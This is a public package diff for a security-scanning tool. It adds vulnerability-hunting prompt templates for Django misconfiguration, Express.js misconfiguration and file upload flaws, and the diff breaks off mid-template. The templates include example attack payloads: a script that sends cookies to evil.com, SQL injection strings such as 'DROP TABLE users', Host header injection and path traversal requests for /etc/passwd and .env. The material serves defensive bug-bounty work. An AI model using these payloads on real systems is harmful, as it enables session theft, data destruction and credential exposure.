tryassay 0.33.1 → 0.33.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.js +2 -0
- package/dist/cli.js.map +1 -1
- package/dist/commands/hunt.d.ts +2 -0
- package/dist/commands/hunt.js +58 -7
- package/dist/commands/hunt.js.map +1 -1
- package/dist/hunt/__tests__/finding-to-template.test.d.ts +1 -0
- package/dist/hunt/__tests__/finding-to-template.test.js +213 -0
- package/dist/hunt/__tests__/finding-to-template.test.js.map +1 -0
- package/dist/hunt/__tests__/parse-utils.test.js +28 -1
- package/dist/hunt/__tests__/parse-utils.test.js.map +1 -1
- package/dist/hunt/__tests__/taint-analysis.test.d.ts +1 -0
- package/dist/hunt/__tests__/taint-analysis.test.js +556 -0
- package/dist/hunt/__tests__/taint-analysis.test.js.map +1 -0
- package/dist/hunt/__tests__/templates.test.js +2 -2
- package/dist/hunt/__tests__/templates.test.js.map +1 -1
- package/dist/hunt/deep-dive.d.ts +2 -2
- package/dist/hunt/deep-dive.js +4 -4
- package/dist/hunt/deep-dive.js.map +1 -1
- package/dist/hunt/discovery.js +2 -2
- package/dist/hunt/discovery.js.map +1 -1
- package/dist/hunt/finding-to-template.d.ts +47 -0
- package/dist/hunt/finding-to-template.js +288 -0
- package/dist/hunt/finding-to-template.js.map +1 -0
- package/dist/hunt/orchestrator.d.ts +3 -0
- package/dist/hunt/orchestrator.js +20 -5
- package/dist/hunt/orchestrator.js.map +1 -1
- package/dist/hunt/taint-analysis.d.ts +49 -0
- package/dist/hunt/taint-analysis.js +429 -0
- package/dist/hunt/taint-analysis.js.map +1 -0
- package/dist/hunt/templates/csv-injection.d.ts +2 -0
- package/dist/hunt/templates/csv-injection.js +148 -0
- package/dist/hunt/templates/csv-injection.js.map +1 -0
- package/dist/hunt/templates/django-misconfig.d.ts +2 -0
- package/dist/hunt/templates/django-misconfig.js +172 -0
- package/dist/hunt/templates/django-misconfig.js.map +1 -0
- package/dist/hunt/templates/express-misconfig.d.ts +2 -0
- package/dist/hunt/templates/express-misconfig.js +156 -0
- package/dist/hunt/templates/express-misconfig.js.map +1 -0
- package/dist/hunt/templates/file-upload.d.ts +2 -0
- package/dist/hunt/templates/file-upload.js +131 -0
- package/dist/hunt/templates/file-upload.js.map +1 -0
- package/dist/hunt/templates/graphql-abuse.d.ts +2 -0
- package/dist/hunt/templates/graphql-abuse.js +161 -0
- package/dist/hunt/templates/graphql-abuse.js.map +1 -0
- package/dist/hunt/templates/hardcoded-credentials.d.ts +2 -0
- package/dist/hunt/templates/hardcoded-credentials.js +109 -0
- package/dist/hunt/templates/hardcoded-credentials.js.map +1 -0
- package/dist/hunt/templates/idor.d.ts +2 -0
- package/dist/hunt/templates/idor.js +102 -0
- package/dist/hunt/templates/idor.js.map +1 -0
- package/dist/hunt/templates/index.d.ts +2 -2
- package/dist/hunt/templates/index.js +38 -5
- package/dist/hunt/templates/index.js.map +1 -1
- package/dist/hunt/templates/insecure-deserialization.d.ts +2 -0
- package/dist/hunt/templates/insecure-deserialization.js +131 -0
- package/dist/hunt/templates/insecure-deserialization.js.map +1 -0
- package/dist/hunt/templates/mass-assignment.d.ts +2 -0
- package/dist/hunt/templates/mass-assignment.js +101 -0
- package/dist/hunt/templates/mass-assignment.js.map +1 -0
- package/dist/hunt/templates/nextjs-misconfig.d.ts +2 -0
- package/dist/hunt/templates/nextjs-misconfig.js +127 -0
- package/dist/hunt/templates/nextjs-misconfig.js.map +1 -0
- package/dist/hunt/templates/postmessage.d.ts +2 -0
- package/dist/hunt/templates/postmessage.js +180 -0
- package/dist/hunt/templates/postmessage.js.map +1 -0
- package/dist/hunt/templates/race-condition.d.ts +2 -0
- package/dist/hunt/templates/race-condition.js +138 -0
- package/dist/hunt/templates/race-condition.js.map +1 -0
- package/dist/hunt/templates/spring-misconfig.d.ts +2 -0
- package/dist/hunt/templates/spring-misconfig.js +177 -0
- package/dist/hunt/templates/spring-misconfig.js.map +1 -0
- package/dist/hunt/templates/xxe.d.ts +2 -0
- package/dist/hunt/templates/xxe.js +187 -0
- package/dist/hunt/templates/xxe.js.map +1 -0
- package/dist/hunt/triage.d.ts +2 -2
- package/dist/hunt/triage.js +4 -4
- package/dist/hunt/triage.js.map +1 -1
- package/package.json +1 -1
|
@@ -0,0 +1,172 @@
|
|
|
1
|
+
export const djangoMisconfig = {
|
|
2
|
+
id: 'django-misconfig',
|
|
3
|
+
name: 'Django Misconfiguration',
|
|
4
|
+
cwe: 'CWE-16',
|
|
5
|
+
filePatterns: [
|
|
6
|
+
'django',
|
|
7
|
+
'settings',
|
|
8
|
+
'views',
|
|
9
|
+
'urls',
|
|
10
|
+
'models',
|
|
11
|
+
'forms',
|
|
12
|
+
'template',
|
|
13
|
+
'admin',
|
|
14
|
+
'ALLOWED_HOSTS',
|
|
15
|
+
'CSRF',
|
|
16
|
+
'MIDDLEWARE',
|
|
17
|
+
],
|
|
18
|
+
negativePatterns: ['test', 'tests', 'mock', 'fixture', 'conftest'],
|
|
19
|
+
minMatchScore: 2,
|
|
20
|
+
triagePrompt: `You are a security researcher hunting for Django-specific vulnerabilities.
|
|
21
|
+
|
|
22
|
+
These are framework-level misconfigurations that generic templates miss. Focus on:
|
|
23
|
+
|
|
24
|
+
1. DEBUG MODE IN PRODUCTION
|
|
25
|
+
- \`DEBUG = True\` in settings used for production
|
|
26
|
+
- When DEBUG is True, Django shows full tracebacks with local variables, settings values, and SQL queries
|
|
27
|
+
- Check for environment-based settings: is there a production settings file? Does it actually set \`DEBUG = False\`?
|
|
28
|
+
- If using \`django-environ\` or \`python-decouple\`, check the default: \`DEBUG = env.bool('DEBUG', default=True)\` is dangerous
|
|
29
|
+
|
|
30
|
+
2. ALLOWED_HOSTS MISCONFIGURATION
|
|
31
|
+
- \`ALLOWED_HOSTS = ['*']\` allows Host header injection
|
|
32
|
+
- \`ALLOWED_HOSTS = ['.example.com']\` — the leading dot means any subdomain, including attacker-controlled ones if subdomain takeover is possible
|
|
33
|
+
- Empty \`ALLOWED_HOSTS\` with \`DEBUG = True\` accepts any host
|
|
34
|
+
- Impact: password reset poisoning, cache poisoning, SSRF via Host header
|
|
35
|
+
|
|
36
|
+
3. TEMPLATE XSS
|
|
37
|
+
- \`{{ variable|safe }}\` disables Django's auto-escaping for that variable
|
|
38
|
+
- \`mark_safe(user_input)\` marks user-controlled strings as safe HTML
|
|
39
|
+
- \`{% autoescape off %}\` blocks disable escaping for all variables in the block
|
|
40
|
+
- \`format_html()\` is the CORRECT way — check if \`mark_safe(f"...")\` is used instead
|
|
41
|
+
|
|
42
|
+
4. MISSING AUTH DECORATORS ON VIEWS
|
|
43
|
+
- Views without \`@login_required\`, \`@permission_required\`, or \`LoginRequiredMixin\`
|
|
44
|
+
- Class-based views inheriting \`View\` instead of \`LoginRequiredMixin\`
|
|
45
|
+
- API views without \`permission_classes\` (Django REST Framework)
|
|
46
|
+
- Admin views exposed without \`@staff_member_required\`
|
|
47
|
+
|
|
48
|
+
5. SECRET_KEY EXPOSURE
|
|
49
|
+
- \`SECRET_KEY\` hardcoded in settings.py (not from environment)
|
|
50
|
+
- Weak SECRET_KEY (short, dictionary words, common defaults)
|
|
51
|
+
- Same SECRET_KEY in all environments (dev/staging/prod)
|
|
52
|
+
- Impact: session forgery, CSRF token prediction, signed cookie tampering
|
|
53
|
+
|
|
54
|
+
6. DATABASE SECURITY
|
|
55
|
+
- Raw SQL via \`cursor.execute()\` with string formatting instead of parameterized queries
|
|
56
|
+
- \`extra()\` or \`raw()\` ORM methods with user input interpolation
|
|
57
|
+
- \`RawSQL()\` expressions without parameter binding
|
|
58
|
+
- ORM filter with \`__regex\` or \`__iregex\` using user input (ReDoS)
|
|
59
|
+
|
|
60
|
+
7. MASS ASSIGNMENT
|
|
61
|
+
- \`ModelForm\` with \`fields = '__all__'\` includes every model field (including is_admin, is_staff)
|
|
62
|
+
- \`exclude = ['password']\` instead of explicit \`fields\` list (new fields auto-included)
|
|
63
|
+
- Serializer (DRF) with \`fields = '__all__'\` — same issue
|
|
64
|
+
- Check if \`is_staff\`, \`is_superuser\`, \`is_active\` are in form fields
|
|
65
|
+
|
|
66
|
+
8. SECURITY MIDDLEWARE AND SETTINGS
|
|
67
|
+
- \`SECURE_SSL_REDIRECT = False\` — no HTTPS enforcement
|
|
68
|
+
- Missing \`django.middleware.security.SecurityMiddleware\` in MIDDLEWARE
|
|
69
|
+
- \`CSRF_COOKIE_HTTPONLY = False\` — CSRF token readable by JavaScript
|
|
70
|
+
- \`SESSION_COOKIE_SECURE = False\` — session sent over HTTP
|
|
71
|
+
- \`CSRF_TRUSTED_ORIGINS\` with overly broad patterns
|
|
72
|
+
- \`X_FRAME_OPTIONS\` not set to DENY (clickjacking)
|
|
73
|
+
|
|
74
|
+
9. ADMIN PANEL EXPOSURE
|
|
75
|
+
- Admin URL at default \`/admin/\` path (easy to find)
|
|
76
|
+
- No IP restriction on admin access
|
|
77
|
+
- Admin with weak password policy or no 2FA
|
|
78
|
+
- Custom admin views without proper permission checks
|
|
79
|
+
|
|
80
|
+
KNOWN BYPASS TECHNIQUES:
|
|
81
|
+
- Host header injection for password reset poisoning when ALLOWED_HOSTS = ['*']
|
|
82
|
+
- XSS via |safe filter or mark_safe() on user-controlled input
|
|
83
|
+
- CSRF bypass when CSRF_TRUSTED_ORIGINS includes overly broad domains
|
|
84
|
+
- Debug mode leaking SECRET_KEY, database credentials, and API keys via error pages
|
|
85
|
+
- SQL injection via cursor.execute() with f-strings or .format() instead of %s params
|
|
86
|
+
- Mass assignment escalation: POST is_superuser=true to ModelForm with fields='__all__'
|
|
87
|
+
|
|
88
|
+
RELEVANT REFERENCES:
|
|
89
|
+
- Django Deployment Checklist (docs.djangoproject.com/en/stable/howto/deployment/checklist/)
|
|
90
|
+
- Django Security documentation (docs.djangoproject.com/en/stable/topics/security/)
|
|
91
|
+
- OWASP Django Security Cheat Sheet`,
|
|
92
|
+
deepDivePrompt: `You are an expert security researcher writing a bug bounty report for a Django vulnerability.
|
|
93
|
+
|
|
94
|
+
Given the hypothesis below, verify whether the vulnerability is real and exploitable.
|
|
95
|
+
|
|
96
|
+
For each vulnerability type, build a specific attack scenario:
|
|
97
|
+
|
|
98
|
+
HOST HEADER INJECTION:
|
|
99
|
+
1. Confirm \`ALLOWED_HOSTS = ['*']\` or is empty with DEBUG True
|
|
100
|
+
2. Identify features that use the Host header: password reset, email links, cache keys
|
|
101
|
+
3. Craft request: \`curl -H "Host: evil.com" http://target/accounts/password_reset/\`
|
|
102
|
+
4. Show that the password reset email contains a link to evil.com
|
|
103
|
+
5. Full attack: victim requests reset, attacker intercepts token via poisoned link
|
|
104
|
+
|
|
105
|
+
TEMPLATE XSS:
|
|
106
|
+
1. Find the template using \`|safe\` or the view using \`mark_safe()\`
|
|
107
|
+
2. Trace the variable back to user input (form field, URL param, database field from user)
|
|
108
|
+
3. Craft payload: submit \`<script>document.location='http://evil.com/?c='+document.cookie</script>\`
|
|
109
|
+
4. Show the rendered HTML with the unescaped script tag
|
|
110
|
+
5. Confirm the XSS fires in a browser context (not inside a textarea or attribute)
|
|
111
|
+
|
|
112
|
+
SQL INJECTION:
|
|
113
|
+
1. Find \`cursor.execute()\`, \`.extra()\`, \`.raw()\`, or \`RawSQL()\` usage
|
|
114
|
+
2. Confirm user input reaches the query via string formatting (f-string, .format(), % operator)
|
|
115
|
+
3. Craft input that alters the query: \`' OR 1=1 --\`, \`'; DROP TABLE users; --\`
|
|
116
|
+
4. Show the resulting SQL query with the injected payload
|
|
117
|
+
5. Demonstrate data extraction or mutation
|
|
118
|
+
|
|
119
|
+
MASS ASSIGNMENT:
|
|
120
|
+
1. Find the ModelForm or Serializer with \`fields = '__all__'\` or broad \`exclude\`
|
|
121
|
+
2. Identify sensitive fields on the model (is_staff, is_superuser, is_active, role, balance)
|
|
122
|
+
3. Craft request: POST/PUT with the sensitive field set to an attacker-chosen value
|
|
123
|
+
4. Confirm the field is accepted and saved to the database
|
|
124
|
+
5. Show privilege escalation or data manipulation result
|
|
125
|
+
|
|
126
|
+
DEBUG MODE INFORMATION DISCLOSURE:
|
|
127
|
+
1. Confirm \`DEBUG = True\` in the settings file used for production
|
|
128
|
+
2. Trigger a 404 or 500 error (visit a non-existent URL, submit invalid data)
|
|
129
|
+
3. Show the debug page contents: local variables, settings, SQL queries
|
|
130
|
+
4. Identify leaked secrets: SECRET_KEY, DATABASE_URL, API keys in settings
|
|
131
|
+
5. Show how SECRET_KEY can be used to forge sessions or CSRF tokens
|
|
132
|
+
|
|
133
|
+
CSRF BYPASS:
|
|
134
|
+
1. Check \`CSRF_TRUSTED_ORIGINS\` for overly broad patterns
|
|
135
|
+
2. Check if any view uses \`@csrf_exempt\` on state-changing endpoints
|
|
136
|
+
3. For trusted origins bypass: craft a request from a domain that matches the pattern
|
|
137
|
+
4. For csrf_exempt: build a cross-origin form submission PoC
|
|
138
|
+
5. Show the state change performed without valid CSRF token
|
|
139
|
+
|
|
140
|
+
SEVERITY GUIDANCE:
|
|
141
|
+
- DEBUG True in production with SECRET_KEY leaked: Critical
|
|
142
|
+
- SQL injection via raw queries: Critical
|
|
143
|
+
- Host header injection + password reset poisoning: High
|
|
144
|
+
- Mass assignment to is_superuser: Critical
|
|
145
|
+
- Template XSS via |safe filter: Medium-High
|
|
146
|
+
- Missing auth decorators on sensitive views: High
|
|
147
|
+
- ALLOWED_HOSTS = ['*'] without exploitable Host usage: Medium
|
|
148
|
+
|
|
149
|
+
RELEVANT REFERENCES:
|
|
150
|
+
- Django deployment checklist (\`python manage.py check --deploy\`)
|
|
151
|
+
- Django security middleware configuration
|
|
152
|
+
- OWASP Testing Guide for Host Header Injection`,
|
|
153
|
+
knownBypasses: [
|
|
154
|
+
'Host header injection for password reset poisoning with ALLOWED_HOSTS = [\'*\']',
|
|
155
|
+
'XSS via |safe filter or mark_safe() on user-controlled strings',
|
|
156
|
+
'CSRF bypass when CSRF_TRUSTED_ORIGINS includes wildcard subdomains',
|
|
157
|
+
'Debug mode leaking SECRET_KEY and database credentials on error pages',
|
|
158
|
+
'SQL injection via cursor.execute() with string formatting instead of parameterized queries',
|
|
159
|
+
'Mass assignment to is_superuser via ModelForm with fields = \'__all__\'',
|
|
160
|
+
'Session forgery using leaked SECRET_KEY to sign arbitrary session data',
|
|
161
|
+
'Admin panel brute force at default /admin/ URL without rate limiting',
|
|
162
|
+
],
|
|
163
|
+
specReferences: [
|
|
164
|
+
'Django Deployment Checklist (manage.py check --deploy)',
|
|
165
|
+
'Django Security Documentation',
|
|
166
|
+
'OWASP Django Security Cheat Sheet',
|
|
167
|
+
'Django REST Framework Authentication and Permissions',
|
|
168
|
+
'PEP 506 (secrets module for SECRET_KEY generation)',
|
|
169
|
+
],
|
|
170
|
+
severityRange: ['low', 'critical'],
|
|
171
|
+
};
|
|
172
|
+
//# sourceMappingURL=django-misconfig.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"django-misconfig.js","sourceRoot":"","sources":["../../../src/hunt/templates/django-misconfig.ts"],"names":[],"mappings":"AAEA,MAAM,CAAC,MAAM,eAAe,GAA0B;IACpD,EAAE,EAAE,kBAAkB;IACtB,IAAI,EAAE,yBAAyB;IAC/B,GAAG,EAAE,QAAQ;IACb,YAAY,EAAE;QACZ,QAAQ;QACR,UAAU;QACV,OAAO;QACP,MAAM;QACN,QAAQ;QACR,OAAO;QACP,UAAU;QACV,OAAO;QACP,eAAe;QACf,MAAM;QACN,YAAY;KACb;IACD,gBAAgB,EAAE,CAAC,MAAM,EAAE,OAAO,EAAE,MAAM,EAAE,SAAS,EAAE,UAAU,CAAC;IAClE,aAAa,EAAE,CAAC;IAChB,YAAY,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;oCAuEoB;IAElC,cAAc,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;gDA4D8B;IAE9C,aAAa,EAAE;QACb,iFAAiF;QACjF,gEAAgE;QAChE,oEAAoE;QACpE,uEAAuE;QACvE,4FAA4F;QAC5F,yEAAyE;QACzE,wEAAwE;QACxE,sEAAsE;KACvE;IACD,cAAc,EAAE;QACd,wDAAwD;QACxD,+BAA+B;QAC/B,mCAAmC;QACnC,sDAAsD;QACtD,oDAAoD;KACrD;IACD,aAAa,EAAE,CAAC,KAAK,EAAE,UAAU,CAAC;CACnC,CAAC"}
|
|
@@ -0,0 +1,156 @@
|
|
|
1
|
+
export const expressMisconfig = {
|
|
2
|
+
id: 'express-misconfig',
|
|
3
|
+
name: 'Express.js Misconfiguration',
|
|
4
|
+
cwe: 'CWE-16',
|
|
5
|
+
filePatterns: [
|
|
6
|
+
'express',
|
|
7
|
+
'app.use',
|
|
8
|
+
'router',
|
|
9
|
+
'helmet',
|
|
10
|
+
'bodyparser',
|
|
11
|
+
'body-parser',
|
|
12
|
+
'cookie-parser',
|
|
13
|
+
'express-session',
|
|
14
|
+
],
|
|
15
|
+
negativePatterns: ['test', 'spec', 'mock', '__tests__', 'stories'],
|
|
16
|
+
minMatchScore: 1,
|
|
17
|
+
triagePrompt: `You are a security researcher hunting for Express.js-specific vulnerabilities.
|
|
18
|
+
|
|
19
|
+
These are framework-level misconfigurations that generic templates miss. Focus on:
|
|
20
|
+
|
|
21
|
+
1. MISSING OR INCOMPLETE HELMET
|
|
22
|
+
- Is \`helmet()\` used? If not, all default security headers are missing
|
|
23
|
+
- If used, check for disabled protections: \`helmet({ contentSecurityPolicy: false })\`
|
|
24
|
+
- Specifically check: Content-Security-Policy, X-Frame-Options, X-Content-Type-Options
|
|
25
|
+
- Missing HSTS (\`Strict-Transport-Security\`) allows SSL stripping
|
|
26
|
+
|
|
27
|
+
2. BODY PARSER DENIAL OF SERVICE
|
|
28
|
+
- \`express.json()\` or \`bodyParser.json()\` without \`{ limit: '...' }\`
|
|
29
|
+
- Default limit is 100kb but some apps remove it or set it very high
|
|
30
|
+
- \`express.urlencoded({ extended: true })\` with no limit allows nested object bombs
|
|
31
|
+
- Check for \`express.raw()\` or \`express.text()\` without limits
|
|
32
|
+
|
|
33
|
+
3. STATIC FILE SERVING
|
|
34
|
+
- \`express.static()\` — what directory is being served?
|
|
35
|
+
- Is it serving the project root? (\`express.static('.')\` or \`express.static(__dirname)\`)
|
|
36
|
+
- Does the path resolve outside the intended directory? (\`dotfiles: 'allow'\`)
|
|
37
|
+
- Check for sensitive files in the static directory (.env, package.json, config files)
|
|
38
|
+
|
|
39
|
+
4. SESSION AND COOKIE SECURITY
|
|
40
|
+
- \`express-session\` config: check for \`cookie: { secure: true, httpOnly: true, sameSite: 'strict' }\`
|
|
41
|
+
- Missing \`secure: true\` allows session cookie theft over HTTP
|
|
42
|
+
- Missing \`httpOnly: true\` allows XSS to steal session cookies
|
|
43
|
+
- Session secret hardcoded in source code (not from environment)
|
|
44
|
+
- Default in-memory session store used in production (data loss + no scaling)
|
|
45
|
+
- Missing \`session.regenerate()\` after login (session fixation)
|
|
46
|
+
|
|
47
|
+
5. TRUST PROXY MISCONFIGURATION
|
|
48
|
+
- \`app.set('trust proxy', true)\` trusts ALL proxies — attacker can spoof X-Forwarded-For
|
|
49
|
+
- Should be \`app.set('trust proxy', 1)\` (trust first proxy) or specific IPs
|
|
50
|
+
- IP-based rate limiting becomes bypassable when trust proxy is misconfigured
|
|
51
|
+
- \`req.ip\` and \`req.hostname\` become attacker-controlled
|
|
52
|
+
|
|
53
|
+
6. ROUTE SECURITY ISSUES
|
|
54
|
+
- Route parameter pollution: \`/api/users/:id\` — is \`id\` validated as expected type?
|
|
55
|
+
- Regex routes with catastrophic backtracking: \`app.get(/^(a+)+$/, ...)\` → ReDoS
|
|
56
|
+
- Order-dependent middleware: auth middleware after the route handler = no auth
|
|
57
|
+
- \`app.use('/admin', adminRouter)\` — does the admin router have its own auth?
|
|
58
|
+
|
|
59
|
+
7. ERROR HANDLING
|
|
60
|
+
- Error handler sending \`err.stack\` or \`err.message\` to client in production
|
|
61
|
+
- Missing error handler entirely (Express default sends stack traces in dev mode)
|
|
62
|
+
- Check for \`NODE_ENV\` check in error handler — does it actually hide details in production?
|
|
63
|
+
- Async route handlers without try-catch or express-async-errors (unhandled rejections)
|
|
64
|
+
|
|
65
|
+
KNOWN BYPASS TECHNIQUES:
|
|
66
|
+
- IP spoofing via X-Forwarded-For when trust proxy is true
|
|
67
|
+
- Large body payload DoS when no body size limit is set
|
|
68
|
+
- Static file directory traversal via encoded paths (%2e%2e/ or ..%2f)
|
|
69
|
+
- Session fixation: attacker sets session ID before victim logs in
|
|
70
|
+
- Route order bypass: specific route placed after catch-all wildcard
|
|
71
|
+
- Regex DoS: crafted input causes catastrophic backtracking in route pattern
|
|
72
|
+
|
|
73
|
+
RELEVANT REFERENCES:
|
|
74
|
+
- Express.js Security Best Practices (expressjs.com/en/advanced/best-practice-security.html)
|
|
75
|
+
- Express.js Production Best Practices (expressjs.com/en/advanced/best-practice-performance.html)
|
|
76
|
+
- OWASP Node.js Security Cheat Sheet
|
|
77
|
+
- Helmet.js documentation (helmetjs.github.io)`,
|
|
78
|
+
deepDivePrompt: `You are an expert security researcher writing a bug bounty report for an Express.js vulnerability.
|
|
79
|
+
|
|
80
|
+
Given the hypothesis below, verify whether the vulnerability is real and exploitable.
|
|
81
|
+
|
|
82
|
+
For each vulnerability type, build a specific attack scenario:
|
|
83
|
+
|
|
84
|
+
TRUST PROXY IP SPOOFING:
|
|
85
|
+
1. Confirm \`app.set('trust proxy', true)\` is set (not a number or specific IPs)
|
|
86
|
+
2. Identify features that depend on \`req.ip\`: rate limiting, IP allowlists, logging
|
|
87
|
+
3. Craft request: \`curl -H "X-Forwarded-For: 1.2.3.4" http://target/api/endpoint\`
|
|
88
|
+
4. Demonstrate that \`req.ip\` returns the spoofed value
|
|
89
|
+
5. Show impact: rate limit bypass, IP allowlist bypass, or audit log poisoning
|
|
90
|
+
|
|
91
|
+
BODY SIZE DOS:
|
|
92
|
+
1. Confirm no \`limit\` option on \`express.json()\` or \`bodyParser.json()\`
|
|
93
|
+
2. Show the default (100kb) or confirm no limit is set
|
|
94
|
+
3. If extended urlencoded is enabled, test nested object: \`a[b][c][d]...[z]=1\` (prototype-style nesting)
|
|
95
|
+
4. Craft payload: \`curl -X POST -H "Content-Type: application/json" -d @large-payload.json http://target/api/endpoint\`
|
|
96
|
+
5. Show impact: memory exhaustion, event loop blocking, or process crash
|
|
97
|
+
|
|
98
|
+
STATIC FILE EXPOSURE:
|
|
99
|
+
1. Identify the directory passed to \`express.static()\`
|
|
100
|
+
2. List sensitive files that exist in or above that directory
|
|
101
|
+
3. Craft request: \`curl http://target/.env\` or \`curl http://target/package.json\`
|
|
102
|
+
4. If dotfiles option is not 'deny', test: \`curl http://target/.git/config\`
|
|
103
|
+
5. Test path traversal: \`curl http://target/%2e%2e/etc/passwd\` (may work on some OS/versions)
|
|
104
|
+
|
|
105
|
+
SESSION SECURITY:
|
|
106
|
+
1. Check the \`express-session\` configuration object
|
|
107
|
+
2. For session fixation: show that session ID is NOT regenerated after \`req.login()\`
|
|
108
|
+
3. For insecure cookies: show missing \`secure\`, \`httpOnly\`, or \`sameSite\` flags
|
|
109
|
+
4. For hardcoded secret: show the secret in source code and explain brute-force risk
|
|
110
|
+
5. Demonstrate attack: set session cookie before login, verify it persists after auth
|
|
111
|
+
|
|
112
|
+
ERROR INFORMATION DISCLOSURE:
|
|
113
|
+
1. Find the error handling middleware (\`app.use((err, req, res, next) => ...)\`)
|
|
114
|
+
2. Check if it sends \`err.stack\`, \`err.message\`, or the full error object
|
|
115
|
+
3. Check if there's a \`NODE_ENV\` gate — and whether NODE_ENV is actually set in production
|
|
116
|
+
4. Trigger an error: invalid JSON body, missing required param, database error
|
|
117
|
+
5. Show the stack trace or internal details in the response
|
|
118
|
+
|
|
119
|
+
REGEX DOS:
|
|
120
|
+
1. Identify route patterns using regex with quantified groups: \`(a+)+\`, \`(a|b)*c\`
|
|
121
|
+
2. Craft input that causes exponential backtracking
|
|
122
|
+
3. Time the request to show the delay (>5 seconds = confirmed)
|
|
123
|
+
4. Show impact: single request blocks the event loop, all requests hang
|
|
124
|
+
|
|
125
|
+
SEVERITY GUIDANCE:
|
|
126
|
+
- Trust proxy IP spoofing + rate limit bypass: Medium-High
|
|
127
|
+
- Body size DoS: Medium (requires sustained traffic for real impact)
|
|
128
|
+
- Static file exposing .env with secrets: Critical
|
|
129
|
+
- Session fixation with no regeneration: High
|
|
130
|
+
- Error handler leaking stack traces: Low-Medium
|
|
131
|
+
- Regex DoS: Medium-High (single request blocks all users)
|
|
132
|
+
|
|
133
|
+
RELEVANT REFERENCES:
|
|
134
|
+
- Express.js trust proxy documentation (explains proxy trust levels)
|
|
135
|
+
- OWASP Session Management Cheat Sheet
|
|
136
|
+
- Node.js Event Loop and DoS prevention`,
|
|
137
|
+
knownBypasses: [
|
|
138
|
+
'IP spoofing via X-Forwarded-For with trust proxy set to true',
|
|
139
|
+
'Body size DoS via unbounded express.json() or urlencoded parser',
|
|
140
|
+
'Static file directory traversal via encoded path separators (%2e%2e/)',
|
|
141
|
+
'Session fixation when session.regenerate() not called after login',
|
|
142
|
+
'Error handler leaking stack traces when NODE_ENV is not set to production',
|
|
143
|
+
'Route order bypass: catch-all wildcard before specific authenticated routes',
|
|
144
|
+
'Regex DoS via catastrophic backtracking in route patterns',
|
|
145
|
+
'Cookie theft over HTTP when secure flag is missing on session cookie',
|
|
146
|
+
],
|
|
147
|
+
specReferences: [
|
|
148
|
+
'Express.js Security Best Practices',
|
|
149
|
+
'Express.js Production Performance Best Practices',
|
|
150
|
+
'OWASP Node.js Security Cheat Sheet',
|
|
151
|
+
'Helmet.js Documentation',
|
|
152
|
+
'OWASP Session Management Cheat Sheet',
|
|
153
|
+
],
|
|
154
|
+
severityRange: ['low', 'critical'],
|
|
155
|
+
};
|
|
156
|
+
//# sourceMappingURL=express-misconfig.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"express-misconfig.js","sourceRoot":"","sources":["../../../src/hunt/templates/express-misconfig.ts"],"names":[],"mappings":"AAEA,MAAM,CAAC,MAAM,gBAAgB,GAA0B;IACrD,EAAE,EAAE,mBAAmB;IACvB,IAAI,EAAE,6BAA6B;IACnC,GAAG,EAAE,QAAQ;IACb,YAAY,EAAE;QACZ,SAAS;QACT,SAAS;QACT,QAAQ;QACR,QAAQ;QACR,YAAY;QACZ,aAAa;QACb,eAAe;QACf,iBAAiB;KAClB;IACD,gBAAgB,EAAE,CAAC,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,WAAW,EAAE,SAAS,CAAC;IAClE,aAAa,EAAE,CAAC;IAChB,YAAY,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+CA4D+B;IAE7C,cAAc,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;wCA0DsB;IAEtC,aAAa,EAAE;QACb,8DAA8D;QAC9D,iEAAiE;QACjE,uEAAuE;QACvE,mEAAmE;QACnE,2EAA2E;QAC3E,6EAA6E;QAC7E,2DAA2D;QAC3D,sEAAsE;KACvE;IACD,cAAc,EAAE;QACd,oCAAoC;QACpC,kDAAkD;QAClD,oCAAoC;QACpC,yBAAyB;QACzB,sCAAsC;KACvC;IACD,aAAa,EAAE,CAAC,KAAK,EAAE,UAAU,CAAC;CACnC,CAAC"}
|
|
@@ -0,0 +1,131 @@
|
|
|
1
|
+
export const fileUpload = {
|
|
2
|
+
id: 'file-upload',
|
|
3
|
+
name: 'Unrestricted File Upload',
|
|
4
|
+
cwe: 'CWE-434',
|
|
5
|
+
filePatterns: ['upload', 'file', 'multipart', 'formdata', 'multer', 'busboy', 'attachment', 'storage', 'blob', 'image'],
|
|
6
|
+
negativePatterns: [],
|
|
7
|
+
triagePrompt: `You are a security researcher hunting for unrestricted file upload vulnerabilities.
|
|
8
|
+
|
|
9
|
+
Analyze the code for file upload handlers that fail to properly validate uploaded files, allowing an attacker to upload malicious content. Focus on:
|
|
10
|
+
|
|
11
|
+
1. Missing file type validation — is the Content-Type header or file extension checked?
|
|
12
|
+
2. Client-side only validation — is validation done in JavaScript but not enforced server-side?
|
|
13
|
+
3. MIME type trust — does the server trust the Content-Type header without verifying file magic bytes?
|
|
14
|
+
4. Extension bypass — can .php.jpg, .asp;.jpg, or null byte tricks bypass extension checks?
|
|
15
|
+
5. Path traversal via filename — is the original filename used for storage? Can ../../etc/cron.d/shell work?
|
|
16
|
+
6. Missing size limits — can an attacker upload arbitrarily large files for DoS?
|
|
17
|
+
7. Executable upload — can .php, .jsp, .aspx, .sh files be uploaded to a web-accessible directory?
|
|
18
|
+
8. SVG upload — SVGs can contain JavaScript (XSS) and external entity references (XXE/SSRF)
|
|
19
|
+
9. Image processing exploits — ImageMagick (ImageTragick CVE-2016-3714), Pillow, sharp with crafted files
|
|
20
|
+
|
|
21
|
+
DANGEROUS PATTERNS:
|
|
22
|
+
- Storing files in the web root with original filename
|
|
23
|
+
- Using user-supplied filename in fs.writeFile()/os.path.join() without sanitization
|
|
24
|
+
- Checking extension with simple string matching: filename.endsWith('.jpg') (bypassable with .jpg.php)
|
|
25
|
+
- Trusting req.file.mimetype (set by client, not verified server-side)
|
|
26
|
+
- No file size limit in multer/busboy configuration
|
|
27
|
+
- Serving uploaded files with user-controlled Content-Type header
|
|
28
|
+
|
|
29
|
+
